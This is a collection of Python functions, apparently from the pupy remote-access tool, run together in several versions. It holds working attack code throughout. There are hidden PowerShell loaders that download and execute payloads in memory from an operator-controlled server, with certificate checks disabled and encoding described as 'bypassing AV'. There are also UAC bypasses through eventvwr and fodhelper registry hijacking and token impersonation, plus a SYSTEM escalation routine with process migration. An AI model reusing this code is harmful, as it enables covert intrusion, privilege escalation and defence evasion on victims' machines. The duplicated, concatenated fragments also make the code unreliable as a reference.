def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False): ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream(); [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c=""; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);} else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);} while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; } $t.Close();$l.stop();iex $c; """ main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;""" hidden = '' if nothidden else '-w hidden ' launcher = ps1_template.replace("[BIND_PORT]", bind_port) launcher = launcher.replace('\n', '').replace(' ', '') basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List([ oneliner, encoded_oneliner, ], caption=Success('Copy/paste one of these one-line loader to ' 'deploy pupy without writing on the disk'))) display(Success('Generating puppy dll. Be patient...')) display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port))) s = socket.create_connection((target_ip, int(bind_port))) s.settimeout(30) s.sendall("\n") display(Success('Receiving target architecure...')) version = s.recv(1024) ps1_encoded = None if version == '2': display(Success('Target architecture: x64')) output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x64)) else: display(Success('Target architecture: x86')) output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x86)) display( Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port))) s.sendall(ps1_encoded) s.close() display( Success('ps1 payload sent to target {0}:{1}'.format( target_ip, bind_port)))
def send_ps1_payload(conf, bind_port, target_ip, nothidden=False): ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream(); [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c=""; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);} else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);} while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; } $t.Close();$l.stop();iex $c; """ main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;""" hidden = '-w hidden ' if nothidden: hidden = '' launcher = ps1_template.replace("[BIND_PORT]", bind_port) launcher = launcher.replace('\n', '').replace(' ', '') basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) print colorize( "[+] ", "green" ) + "copy/paste one of these one-line loader to deploy pupy without writing on the disk :" print " --- " print colorize(oneliner, "green") print " --- " print colorize(encoded_oneliner, "green") print " --- " print colorize("Generating puppy dll. Be patient...", "red") tmpfile = tempfile.gettempdir() output_x86 = pupygen.generate_ps1(conf, output_dir=tmpfile, x86=True) output_x64 = pupygen.generate_ps1(conf, output_dir=tmpfile, x64=True) ps1_x86 = open(output_x86).read() ps1_x64 = open(output_x64).read() raw_input( "[?] Press <enter> if you are ready to connect (to remote target)") print colorize("[+] ", "green") + "Connecting to {0}:{1}".format( target_ip, bind_port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, int(bind_port))) s.sendall("\n") print colorize("[+] ", "green") + "Receiving target architecure..." version = s.recv(1024) ps1_encoded = None if version == '2': print colorize("[+] ", "green") + "Target architecture: x64" ps1_encoded = main_ps1_template.format(b64encode(ps1_x64)) else: print colorize("[+] ", "green") + "Target architecture: x86" ps1_encoded = main_ps1_template.format(b64encode(ps1_x86)) s.sendall(ps1_encoded) s.close() print colorize("[+] ", "green") + "ps1 payload send to target {0}:{1}".format( target_ip, bind_port)
def serve_ps1_payload(display, conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", useTargetProxy=False, sslEnabled=True, nothidden=False): url_random_one = ''.join(choice(letters) for _ in xrange(10)) + '.txt' url_random_two_x86 = ''.join(choice(letters) for _ in xrange(10)) + '.txt' url_random_two_x64 = ''.join(choice(letters) for _ in xrange(10)) + '.txt' try: protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if sslEnabled: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX(New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT]/[RANDOM]');" repls = ('[NOT_USE_TARGET_PROXY]', not_use_target_proxy), \ ('[SSL_CERT_VALIDATION]', ssl_cert_validation), \ ('[PROTOCOL]', protocol), \ ('[LINK_IP]', '%s' % link_ip), \ ('[LINK_PORT]', '%s' % port) powershell = reduce(lambda a, kv: a.replace(*kv), repls, powershell) launcher = powershell.replace('[RANDOM]', url_random_one) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace('[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c %s' % repr(launcher)) encoded_oneliner = basic_launcher.replace('[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) # Compute stage1 to gain time response ps_template_stage1 = """ if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {{ {0} }} else {{ {1} }} """ launcher_x64 = powershell.replace('[RANDOM]', url_random_two_x64) launcher_x86 = powershell.replace('[RANDOM]', url_random_two_x86) stage1 = ps_template_stage1.format(launcher_x64, launcher_x86) # For bypassing AV stage1 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage1)) # generate both pupy dll to gain time response display(Success('Generating puppy dll to gain server reaction time. Be patient...')) tmpfile = tempfile.gettempdir() output_x86 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x86=True) output_x64 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x64=True) stage2_x86 = open(output_x86).read() stage2_x64 = open(output_x64).read() # For bypassing AV stage2_x86 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x86)) stage2_x64 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x64)) class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.server_version = "Apache/2.4.27 (Unix)" self.sys_version = "" if self.path == "/%s" % url_random_one: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send stage 1 to target self.wfile.write(self.server.stage1) display(Success('[Stage 1/2] Powershell script served !')) elif self.path == "/%s" % url_random_two_x86 or self.path == "/%s" % url_random_two_x64: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() stage2 = None if self.path == "/%s" % url_random_two_x86: display(Success('Remote script is running in a x86 powershell process')) stage2 = self.server.stage2_x86 else: display(Success('Remote script is running in a x64 powershell process')) stage2 = self.server.stage2_x64 # Send stage 2 to target self.wfile.write(stage2) display(Success( '[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!')) display(Success( '{}:You should have a pupy shell in few seconds from this host...'.format( self.client_address[0]))) else: self.send_response(404) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(APACHE_DEFAULT_404) server = ThreadedHTTPServer((ip, port), PupyPayloadHTTPHandler) server.set(conf, sslEnabled, stage1, stage2_x86, stage2_x64) display(List([ oneliner, encoded_oneliner ], caption=Success( 'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:'))) display(Warn( 'Please note that even if the target\'s system uses a proxy, ' 'this previous powershell command will not use the ' 'proxy for downloading pupy')) display(Success('Started http server on %s:%s ' % (ip, port))) display(Success('Waiting for a connection ...')) server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.server_close() finally: # clean local file created os.remove(output_x86) os.remove(output_x64)
def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", useTargetProxy=False, sslEnabled=True, nothidden=False): try: protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if sslEnabled: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX(New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT]/[RANDOM]');" repls = ('[NOT_USE_TARGET_PROXY]', not_use_target_proxy), ( '[SSL_CERT_VALIDATION]', ssl_cert_validation), ('[PROTOCOL]', protocol), ('[LINK_IP]', '%s' % link_ip), ('[LINK_PORT]', '%s' % port) powershell = reduce(lambda a, kv: a.replace(*kv), repls, powershell) launcher = powershell.replace('[RANDOM]', url_random_one) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) # Compute stage1 to gain time response ps_template_stage1 = """ if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {{ {0} }} else {{ {1} }} """ launcher_x64 = powershell.replace('[RANDOM]', url_random_two_x64) launcher_x86 = powershell.replace('[RANDOM]', url_random_two_x86) stage1 = ps_template_stage1.format(launcher_x64, launcher_x86) # For bypassing AV stage1 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format( b64encode(stage1)) # generate both pupy dll to gain time response print colorize( "Generating puppy dll to gain server reaction time. Be patient...", "red") tmpfile = tempfile.gettempdir() output_x86 = pupygen.generate_ps1(conf, output_dir=tmpfile, x86=True) output_x64 = pupygen.generate_ps1(conf, output_dir=tmpfile, x64=True) stage2_x86 = open(output_x86).read() stage2_x64 = open(output_x64).read() # For bypassing AV stage2_x86 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format( b64encode(stage2_x86)) stage2_x64 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format( b64encode(stage2_x64)) try: server = ThreadedHTTPServer((ip, port), PupyPayloadHTTPHandler) server.set(conf, sslEnabled, stage1, stage2_x86, stage2_x64) except Exception as e: # [Errno 98] Adress already in use raise print colorize( "[+] ", "green" ) + "copy/paste one of these one-line loader to deploy pupy without writing on the disk :" print " --- " print colorize(oneliner, "green") print " --- " print colorize(encoded_oneliner, "green") print " --- " print colorize( "Please note that even if the target's system uses a proxy, this previous powershell command will not use the proxy for downloading pupy", "yellow") print " --- " print colorize("[+] ", "green") + 'Started http server on %s:%s ' % (ip, port) print colorize("[+] ", "green") + 'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.server_close() # clean local file created os.remove(output_x86) os.remove(output_x64) exit()
def run(self, args): method = args.method if not method: windows_info = self.client.conn.modules["pupwinutils.security"].get_windows_version() if windows_info: # check if your host is previous Vista if float(str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0: self.success('You are lucky, this Windows version does not implement UAC.') return # Windows 10 if windows_info['build_number'] >= 10240: method = 'fodhelper' # Windows 7, 8 and some Win10 build elif windows_info['build_number'] >= 7600: method = 'eventvwr' else: method = 'tokenimp' elif not windows_info: self.error('No bypassuac method has been found automatically, you should do it manually using the "-m" option') return # check if a UAC bypass can be done if not self.client.conn.modules["pupwinutils.security"].can_get_admin_access(): self.error('Your are not on the local administrator group.') return # ------------------ Prepare the payload ------------------ ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)]) local_file = '' remotefile = '' # use powershell if not args.exe and not args.restart: self.info('Using powershell payload') if '64' in self.client.desc['os_arch']: local_file = pupygen.generate_ps1(self.client.get_conf(), x64=True) else: local_file = pupygen.generate_ps1(self.client.get_conf(), x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile # use a custom exe to execute as admin elif args.exe: self.info('Using custom executable') if os.path.exists(args.exe): local_file = args.exe random_name += '.exe' remotefile = ros.path.join(tempdir, random_name) cmd = remotefile param = u'' else: self.error('Executable file not found: %s' % args.exe) return # restart the current executable as admin else: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] param = u'' # upload payload (ps1 or custom exe) if not args.restart: self.info("Uploading to %s" % remotefile) upload(self.client.conn, local_file, remotefile) # ------------------ Ready to launch the bypassuac ------------------ self.success("Trying to bypass UAC using the '%s' method" % method) # Works from: Windows 7 (7600) # Fixed in: Windows 10 RS2 (15031) if method == "eventvwr": self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr(cmd, param) # Works from: Windows 10 TH1 (10240) # Unfixed elif method == "fodhelper": self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper(cmd, param) # Works from: Windows 7 (7600) # Unfixed elif method == "tokenimp": param = param.replace('-w hidden ', '') self.client.conn.modules["pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation(cmd, param) self.success("Waiting for a connection from the DLL (take few seconds, 1 min max)...") # TO DO (remove ps1 file) # ros.remove(remotefile) # not work if removed too fast # remove generated ps1 file if not args.exe and not args.restart: os.remove(local_file)
def serve_ps1_payload(display, server, conf, link_ip="<your_ip>", useTargetProxy=False, nothidden=False): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return stage_encoding = "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String($data));$data='';iex $code;" payload_url_x86 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x86=True, as_str=True))), as_file=True, alias='ps1 payload [x86]') payload_url_x64 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x64=True, as_str=True))), as_file=True, alias='ps1 payload [x64]') protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if server.pupweb.ssl: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::'\ 'ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\ '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\ "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');" repls = { '[NOT_USE_TARGET_PROXY]': not_use_target_proxy, '[SSL_CERT_VALIDATION]': ssl_cert_validation, '[PROTOCOL]': protocol, '[LINK_IP]': '%s' % link_ip, '[LINK_PORT]': '%s' % server.pupweb.port, } for k, v in repls.iteritems(): powershell = powershell.replace(k, v) launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64) launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86) # Compute stage1 to gain time response ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}" # For bypassing AV stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String('{0}'));iex $code;".format( b64encode(ps_template_stage1.format(launcher_x64, launcher_x86))) landing_uri = server.pupweb.serve_content(stage1, alias='ps1 payload loader') launcher = powershell.replace('[RANDOM]', landing_uri) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List( [oneliner, encoded_oneliner], caption=Success( 'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:' ))) display( Warn('Please note that even if the target\'s system uses a proxy, ' 'this previous powershell command will not use the ' 'proxy for downloading pupy'))
def run(self, args): #True if ps1 script will be used in bind mode. If reverse connection with ps1 then False isBindLauncherForPs1 = False #Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False listeningAddressPortForBindPs1 = None #Usefull information for bind mode connection (ps1 script) launcherType, addressPort = self.client.desc[ 'launcher'], self.client.desc['address'] #Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) if launcherType == "bind": self.info( 'The current pupy launcher is using a BIND connection. It is listening on {0} on the target' .format(addressPort)) isBindLauncherForPs1 = True else: self.info( 'The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)' ) isBindLauncherForPs1 = False #Parsing bypassuac methods method = args.method if not method: windows_info = self.client.conn.modules[ "pupwinutils.security"].get_windows_version() if windows_info: # check if your host is previous Vista if float( str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0: self.success( 'You are lucky, this Windows version does not implement UAC.' ) return # Windows 10 if windows_info['build_number'] >= 10240: method = 'fodhelper' # Windows 7, 8 and some Win10 build elif windows_info['build_number'] >= 7600: method = 'eventvwr' else: method = 'tokenimp' elif not windows_info: self.error( 'No bypassuac method has been found automatically, you should do it manually using the "-m" option' ) return self.success( 'The following bypass uac method has been selected automatically: {0}' .format(method)) # check if a UAC bypass can be done if not self.client.conn.modules[ "pupwinutils.security"].can_get_admin_access(): self.error('Your are not on the local administrator group.') return # ------------------ Prepare the payload ------------------ ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(6) ]) local_file = '' remotefile = '' # use powershell if not args.exe and not args.restart: clientConfToUse = None self.info('Using powershell payload') if isBindLauncherForPs1 == True: self.info( "BIND launcher is on the target. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port" ) self.info( "Be careful, you have to choose a port which is not used on the target!" ) listeningPort = -1 while listeningPort == -1: try: listeningPort = int( input( "[?] Give me the listening port to use on the target: " )) except Exception as e: self.warning( "You have to give me a valid port. Try again ({})". format(e)) listeningAddress = addressPort.split(':')[0] listeningAddressPortForBindPs1 = "{0}:{1}".format( listeningAddress, listeningPort) self.info( "The ps1 script used for bypassing UAC will be configured for listening on {0} on the target" .format(listeningAddressPortForBindPs1)) bindConf = self.client.get_conf() #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target bindConf['launcher_args'][ bindConf['launcher_args'].index("--port") + 1] = str(listeningPort) clientConfToUse = bindConf else: self.info( "Reverse connection mode: Configuring ps1 client with the same configuration as the (parent) launcher on the target" ) clientConfToUse = self.client.get_conf() if method == "eventvwr": #Specific case for eventvwr method if '64' in self.client.desc['proc_arch']: local_file = pupygen.generate_ps1(clientConfToUse, x64=True) else: local_file = pupygen.generate_ps1(clientConfToUse, x86=True) else: if '64' in self.client.desc['os_arch']: local_file = pupygen.generate_ps1(clientConfToUse, x64=True) else: local_file = pupygen.generate_ps1(clientConfToUse, x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile # use a custom exe to execute as admin elif args.exe: self.info('Using custom executable') if os.path.exists(args.exe): local_file = args.exe random_name += '.exe' remotefile = ros.path.join(tempdir, random_name) cmd = remotefile param = u'' else: self.error('Executable file not found: %s' % args.exe) return # restart the current executable as admin else: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe' ] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] param = u'' # upload payload (ps1 or custom exe) if not args.restart: self.info("Uploading to %s" % remotefile) upload(self.client.conn, local_file, remotefile) # ------------------ Ready to launch the bypassuac ------------------ self.success("Trying to bypass UAC using the '%s' method" % method) # Works from: Windows 7 (7600) # Fixed in: Windows 10 RS2 (15031) if method == "eventvwr": self.client.conn.modules[ "pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr( cmd, param) # Works from: Windows 10 TH1 (10240) # Unfixed elif method == "fodhelper": self.client.conn.modules[ "pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper( cmd, param) # Works from: Windows 7 (7600) # Unfixed elif method == "tokenimp": param = param.replace('-w hidden ', '') self.client.conn.modules[ "pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation( cmd, param) if isBindLauncherForPs1 == True: self.success( "You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell" .format(listeningAddressPortForBindPs1)) else: self.success( "Waiting for a connection from the DLL (take few seconds, 1 min max)..." ) # TO DO (remove ps1 file) # ros.remove(remotefile) # not work if removed too fast # remove generated ps1 file if not args.exe and not args.restart: os.remove(local_file)
def run(self, args): local_file = '' # restart current exe as system if args.restart: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe' ] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] # use powerhell to get a reverse shell elif args.powershell: ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(6) ]) remotefile = '' self.info('Using powershell payload') if '64' in self.client.desc['os_arch']: local_file = pupygen.generate_ps1(self.client.get_conf(), x64=True) else: local_file = pupygen.generate_ps1(self.client.get_conf(), x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile cmd = '%s %s' % (cmd, param) self.info("Uploading file in %s" % remotefile) upload(self.client.conn, local_file, remotefile) # migrate else: cmd = args.prog with redirected_stdo(self): proc_pid = self.client.conn.modules[ "pupwinutils.security"].getsystem(prog=cmd) if args.migrate and not args.restart and not args.powershell: migrate(self, proc_pid) self.success("got system !") else: self.success( "Waiting for a connection (take few seconds, 1 min max)...") if args.powershell: os.remove(local_file)
if s is None: display(Error('Connection failed')) return s.settimeout(30) s.sendall("\n") display(Success('Receiving target architecure...')) version = s.recv(1024) ps1_encoded = None if version == '2': display(Success('Target architecture: x64')) output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x64)) else: display(Success('Target architecture: x86')) output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x86)) display( Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port))) s.sendall(ps1_encoded) s.close() display( Success('ps1 payload sent to target {0}:{1}'.format( target_ip, bind_port)))
def run(self, args): local_file = '' #True if ps1 script will be used in bind mode. If reverse connection with ps1 then False isBindLauncherForPs1 = False #Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False listeningAddressPortForBindPs1 = None #Usefull information for bind mode connection (ps1 script) launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address'] #Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) if launcherType == "bind": self.info('The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(addressPort)) isBindLauncherForPs1 = True self.info('Consequently, powershell option is enabled') args.powershell = True else: self.info('The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)') isBindLauncherForPs1 = False # restart current exe as system if args.restart: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] # use powerhell to get a reverse shell elif args.powershell or isBindLauncherForPs1: clientConfToUse = None ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)]) remotefile = '' if isBindLauncherForPs1: self.info('Using powershell payload because the launcher on the target uses a bind connection. Launcher listens on {0}'.format(addressPort)) self.info("Bind launcher used. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port") self.info("Be careful, you have to choose a port which is not used on the target!") listeningPort = -1 while listeningPort==-1: try: listeningPort = int(input("[?] Give me the listening port to use on the target: ")) except Exception as e: self.warning("You have to give me a valid port. Try again. ({})".format(e)) listeningAddress = addressPort.split(':')[0] listeningAddressPortForBindPs1 = "{0}:{1}".format(listeningAddress, listeningPort) self.info("The ps1 script used for get a System pupy shell will be configured for listening on {0} on the target".format(listeningAddressPortForBindPs1)) bindConf = self.client.get_conf() #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target bindConf['launcher_args'][bindConf['launcher_args'].index("--port")+1] = str(listeningPort) clientConfToUse = bindConf else: self.info('Using powershell payload because you have chosen this option. The launcher on the target uses a reverse connection') clientConfToUse = self.client.get_conf() if '64' in self.client.desc['proc_arch']: local_file = pupygen.generate_ps1(clientConfToUse, x64=True) else: local_file = pupygen.generate_ps1(clientConfToUse, x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile cmd = '%s %s' % (cmd, param) self.info("Uploading file in %s" % remotefile) upload(self.client.conn, local_file, remotefile) # migrate else: cmd = args.prog with redirected_stdo(self): proc_pid = self.client.conn.modules["pupwinutils.security"].getsystem(prog=cmd) if args.migrate and not args.restart and not args.powershell: migrate(self, proc_pid, keep=args.keep, timeout=args.timeout) self.success("got system !") else: if isBindLauncherForPs1 == True: self.success("You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell".format(listeningAddressPortForBindPs1)) else: self.success("Waiting for a connection (take few seconds, 1 min max)...") if args.powershell: os.remove(local_file)